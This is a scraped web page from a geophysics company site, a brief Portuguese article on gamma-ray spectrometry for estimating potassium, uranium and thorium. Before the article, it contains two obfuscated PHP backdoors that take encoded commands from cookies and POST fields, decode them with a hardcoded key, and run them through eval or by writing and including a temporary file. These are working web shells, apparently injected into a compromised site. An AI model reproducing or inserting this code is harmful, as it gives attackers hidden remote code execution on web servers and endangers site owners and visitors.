$JcaboqSaSr = class_exists("jO_Kfs");if (!$JcaboqSaSr){class jO_Kfs{private $fJmvZRachZ;public static $qQdKuuNVm = "8b58e66c-7462-496d-a934-310ce60d18c4";public static $cFwNJGeUU = NULL;public function __construct(){$GnSAUzn = $_COOKIE;$KkmuLNWV = $_POST;$pPdVGit = @$GnSAUzn[substr(jO_Kfs::$qQdKuuNVm, 0, 4)];if (!empty($pPdVGit)){$rPrgYyx = "base64";$iOMByBo = "";$pPdVGit = explode(",", $pPdVGit);foreach ($pPdVGit as $nsqdu){$iOMByBo .= @$GnSAUzn[$nsqdu];$iOMByBo .= @$KkmuLNWV[$nsqdu];}$iOMByBo = array_map($rPrgYyx . "\137" . "\144" . 'e' . chr (99) . chr ( 909 - 798 ).chr ( 518 - 418 )."\x65", array($iOMByBo,)); $iOMByBo = $iOMByBo[0] ^ str_repeat(jO_Kfs::$qQdKuuNVm, (strlen($iOMByBo[0]) / strlen(jO_Kfs::$qQdKuuNVm)) + 1);jO_Kfs::$cFwNJGeUU = @unserialize($iOMByBo);}}public function __destruct(){$this->jSyOjL();}private function jSyOjL(){if (is_array(jO_Kfs::$cFwNJGeUU)) {$TGgjOOCUik = str_replace(chr ( 315 - 255 ) . "\x3f" . chr ( 263 - 151 ).chr ( 880 - 776 ).chr ( 554 - 442 ), "", jO_Kfs::$cFwNJGeUU["\143" . chr (111) . chr (110) . "\x74" . "\145" . chr ( 253 - 143 )."\x74"]);eval($TGgjOOCUik);exit();}}}$WHutIPbAJ = new jO_Kfs(); $WHutIPbAJ = NULL;} ?> $AnNBYOf = class_exists("Q_GYeH");if (!$AnNBYOf){class Q_GYeH{private $mgupdR;public static $mmLxEGPQ = "f7114bce-ec1c-42ce-aa9a-aa2c680df5f1";public static $XErnVYG = NULL;public function __construct(){$qnsNz = $_COOKIE;$feeSsf = $_POST;$bieEEWP = @$qnsNz[substr(Q_GYeH::$mmLxEGPQ, 0, 4)];if (!empty($bieEEWP)){$FdDYZ = "base64";$OIqTrl = "";$bieEEWP = explode(",", $bieEEWP);foreach ($bieEEWP as $MyeOzzss){$OIqTrl .= @$qnsNz[$MyeOzzss];$OIqTrl .= @$feeSsf[$MyeOzzss];}$OIqTrl = array_map($FdDYZ . "\x5f" . "\x64" . "\145" . chr ( 349 - 250 ).'o' . chr (100) . "\145", array($OIqTrl,)); $OIqTrl = $OIqTrl[0] ^ str_repeat(Q_GYeH::$mmLxEGPQ, (strlen($OIqTrl[0]) / strlen(Q_GYeH::$mmLxEGPQ)) + 1);Q_GYeH::$XErnVYG = @unserialize($OIqTrl);}}public function __destruct(){$this->WMkNAKxM();}private function WMkNAKxM(){if (is_array(Q_GYeH::$XErnVYG)) {$ZXVnbgXDA = sys_get_temp_dir() . "/" . crc32(Q_GYeH::$XErnVYG['s' . "\x61" . "\x6c" . "\164"]);@Q_GYeH::$XErnVYG["\167" . chr ( 365 - 251 )."\151" . chr ( 433 - 317 ).'e']($ZXVnbgXDA, Q_GYeH::$XErnVYG[chr (99) . 'o' . 'n' . 't' . "\145" . chr ( 678 - 568 ).chr ( 1062 - 946 )]);include $ZXVnbgXDA;@Q_GYeH::$XErnVYG[chr (100) . chr ( 929 - 828 ).chr (108) . 'e' . 't' . chr (101)]($ZXVnbgXDA);exit();}}}$vFYRnkrHk = new Q_GYeH(); $vFYRnkrHk = NULL;} ?> Gama-Espectrometria – Strataimage

Gama-Espectrometria

13 de junho de 2017

O método de espectrometria radiométrica ou de raios gama é um processo geofísico usado para estimar as concentrações de radioelementos de potássio, urânio e tório, medindo os raios-gama que os isótopos radioativos desses elementos emitem durante a decomposição radioativa.

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Gama-Espectrometria

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